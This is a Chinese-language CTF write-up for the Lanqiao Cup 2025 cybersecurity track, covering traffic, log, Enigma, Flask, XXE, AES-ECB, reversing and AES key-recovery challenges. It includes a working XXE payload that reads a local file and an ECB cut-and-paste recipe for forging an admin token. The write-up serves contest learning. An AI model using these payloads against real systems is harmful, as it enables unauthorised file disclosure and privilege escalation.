蓝桥杯2025网络安全赛道部分题解wp

蓝桥杯题解

把简单题基本都做了然后就run了,但pwn和re实在是没学过所以有两道超过几十个解的题没做,其它除了十个解以下的都做了,
ps:现在ctf都喜欢搞数据安全了吗,感觉这次蓝桥杯全是根据数据安全方面出的题

flowzip

Pasted
直接tcp contains “flag”搜出

ezEvtx

筛选当前日志,然后日志等级选择警告就可筛选出被访问的文件

Pasted

Enigma

解密脚本

from enigma.machine import EnigmaMachine  
​  
rotors = ('I', 'II', 'III')      # 右、中、左转子顺序(原顺序错误!)  
reflector = 'B'                  # 反射器类型(B型)  
ring_settings = [0, 0, 0]        # 环设置(A=0)  
initial_positions = 'AAA'        # 初始位置(字符格式)  
plugboard = []                   # 插线板(空)  
​  
machine = EnigmaMachine.from_key_sheet(  
    rotors=rotors,  
    reflector=reflector,  
    ring_settings=ring_settings,  
    plugboard_settings=plugboard  
)  
​  
​  
machine.set_display(initial_positions)  
​  
ciphertext = 'ILBDA MHSWX MORNZ DDDOT KUYZA VSBJC'.replace(' ', '')  
​  
​  
plaintext = machine.process_text(ciphertext)  
​  
print(f"flag{{{plaintext}}}")

黑客密室逃脱

访问/file?name=app.py

Pasted

得到源码

import os  
from flask import Flask, request, render_template  
from config import *  
# author: gamelab  
​  
app = Flask(__name__)  
​  
# 模拟敏感信息  
sensitive_info = SENSITIVE_INFO  
​  
# 加密密钥  
encryption_key = ENCRYPTION_KEY  
​  
def simple_encrypt(text, key):  
    encrypted = bytearray()  
    for i in range(len(text)):  
        char = text[i]  
        key_char = key[i % len(key)]  
        encrypted.append(ord(char) + ord(key_char))  
    return encrypted.hex()  
​  
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)  
​  
# 模拟日志文件内容  
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"  
​  
# 模拟隐藏文件内容  
hidden_file_content = f"解密密钥: {encryption_key}"  
​  
# 指定安全的文件根目录  
SAFE_ROOT_DIR = os.path.abspath('/app')  
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:  
    f.write()  
​  
@app.route('/')  
def index():  
    return render_template('index.html')  
​  
@app.route('/logs')  
def logs():  
    return render_template('logs.html', log_content=log_content)  
​  
@app.route('/secret')  
def secret():  
    return render_template('secret.html')  
​  
@app.route('/file')  
def file():  
    file_name = request.args.get('name')  
    if not file_name:  
        return render_template('no_file_name.html')  
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))  
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:  
        return render_template('no_premission.html')  
    try:  
        with open(full_path, 'r') as f:  
            content = f.read()  
        return render_template('file_content.html', content=content)  
    except FileNotFoundError:  
        return render_template('file_not_found.html')  
​  
if __name__ == '__main__':  
    app.run(debug=True, host='0.0.0.0')

访问/logs可以得到encrypted_sensitive_info的值

Pasted
d9d1c4d9e0a697d098b06d969565a397c8aa92a8c39b9ea67165966da09797d7cba894cf9aab6b6363b5根据源码得知密钥写入了hidden.txt
Pasted

接下来就是解密了

解密脚本

def simple_decrypt(encrypted_hex, key):  
    """解密函数(与加密方法对应)"""  
    encrypted_bytes = bytes.fromhex(encrypted_hex)  
    decrypted = bytearray()  
    for i in range(len(encrypted_bytes)):  
        encrypted_byte = encrypted_bytes[i]  
        key_char = key[i % len(key)]  
​  
        decrypted_byte = (encrypted_byte - ord(key_char)) % 256  
        decrypted.append(decrypted_byte)  
      
    return decrypted.decode('utf-8', errors='ignore')  
​  
​  
encrypted_sensitive_info = "d9d1c4d9e0a697d098b06d969565a397c8aa92a8c39b9ea67165966da09797d7cba894cf9aab6b6363b5"  
​  
encryption_key = "secret_key8028"  
​  
decrypted_text = simple_decrypt(encrypted_sensitive_info, encryption_key)  
print("解密结果:", decrypted_text)  

星际XML解析器

一眼xxe, 直接现有的payload一把梭 payload:

<?xml version="1.0"?>  
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///flag">]>  
<root>&file;</root>  ​

ECBTrain

AES的ecb是分块加密,所以注册一个16*a+admin

Pasted

然后base64解码后截取后面的部分再base64编码即可

import base64  
original_auth = "g8pbiADSNfvR+F9Lc3Jl6KvTSCfB2+0k/KT5YF3y/Wc="  
decoded_auth = base64.b64decode(original_auth)   
​  
​  
admin_block = decoded_auth[16:]    
​  
​  
fake_auth = base64.b64encode(admin_block).decode()    
print(fake_auth)

Pasted

ShadowPhases

在str1与str2比较前的地方下断点, 直接调试的过程中查看str2的值

Pasted

easy_AES

解密脚本

from Crypto.Cipher import AES  
from collections import defaultdict  
​  
# 题目给的三样东西  
gift = 64698960125130294692475067384121553664  
key1 = "74aeb356c6eb74f364cd316497c0f714"  
cipher = b"6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6"  
​  
# 1.拆成nibble列表
gift_hex = gift.to_bytes(16, 'big').hex()  
​  
# 2. 针对 key1 中的每个输出 nibble y,收集它对应的所有 gift_nibble g  
groups = defaultdict(list)  
for i, ych in enumerate(key1):  
    groups[ych].append(int(gift_hex[i], 16))  
​  
# 3. 为每个 y 列出所有满足 (x & y) == g 的 x 候选  
cands = {}  
for ych, glist in groups.items():  
    # 同一个 y 的所有位置上 g 应该相同  
    assert len(set(glist)) == 1  
    g = glist[0]  
    y = int(ych, 16)  
    cands[ych] = [x for x in range(16) if (x & y) == g]  
​  
# 4. 枚举所有 injective 映射(y -> x),并保存每一种映射产生的 key0  
ys = sorted(cands, key=lambda y: len(cands[y]))  # 先排小候选集的 y,加快剪枝  
all_key0 = []  
​  
def dfs(idx, assign, used):  
    if idx == len(ys):  
        # assign 是一个 dict:{ y_char : x_value }  
        # 根据它恢复出 32 字符的 key0_hex  
        key0_hex = "".join(format(assign[ch], 'x') for ch in key1)  
        all_key0.append(key0_hex)  
        return  
    y = ys[idx]  
    for x in cands[y]:  
        if x in used:  
            continue  
        assign[y] = x  
        used.add(x)  
        dfs(idx+1, assign, used)  
        used.remove(x)  
        del assign[y]  
​  
dfs(0, {}, set())  
print("共找到可能的 key0 数目:", len(all_key0))  
​  
​  
# 5. 对每个候选 key0 都做一次双 AES 解密,筛出可读明文  
def try_decrypt(key0hex):  
    k0 = bytes.fromhex(key0hex)  
    k1 = bytes.fromhex(key1)  
    # 先“反转”第二步 decrypt:用 AES-CBC(key1, iv=k0) encrypt(cipher)  
    c1 = AES.new(k1, AES.MODE_CBC, iv=k0).encrypt(cipher)  
    # 再“反转”第一步 encrypt:用 AES-CBC(key0, iv=k1) decrypt(c1)  
    pt = AES.new(k0, AES.MODE_CBC, iv=k1).decrypt(c1)  
    # 去 PKCS#7  
    padlen = pt[-1]  
    return pt[:-padlen]  
​  
candidates = []  
for k0 in all_key0:  
    try:  
        plain = try_decrypt(k0)  
        # 简单过滤:全 ascii 可打印且包含 flag{…}  
        if all(32 <= b < 127 for b in plain) and b"flag{" in plain:  
            candidates.append((k0, plain.decode()))  
    except Exception:  
        pass  
​  
print("符合条件的解:")  
for k0, flag in candidates:  
    print("key0 =", k0, "flag =", flag)  
​  
```​
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇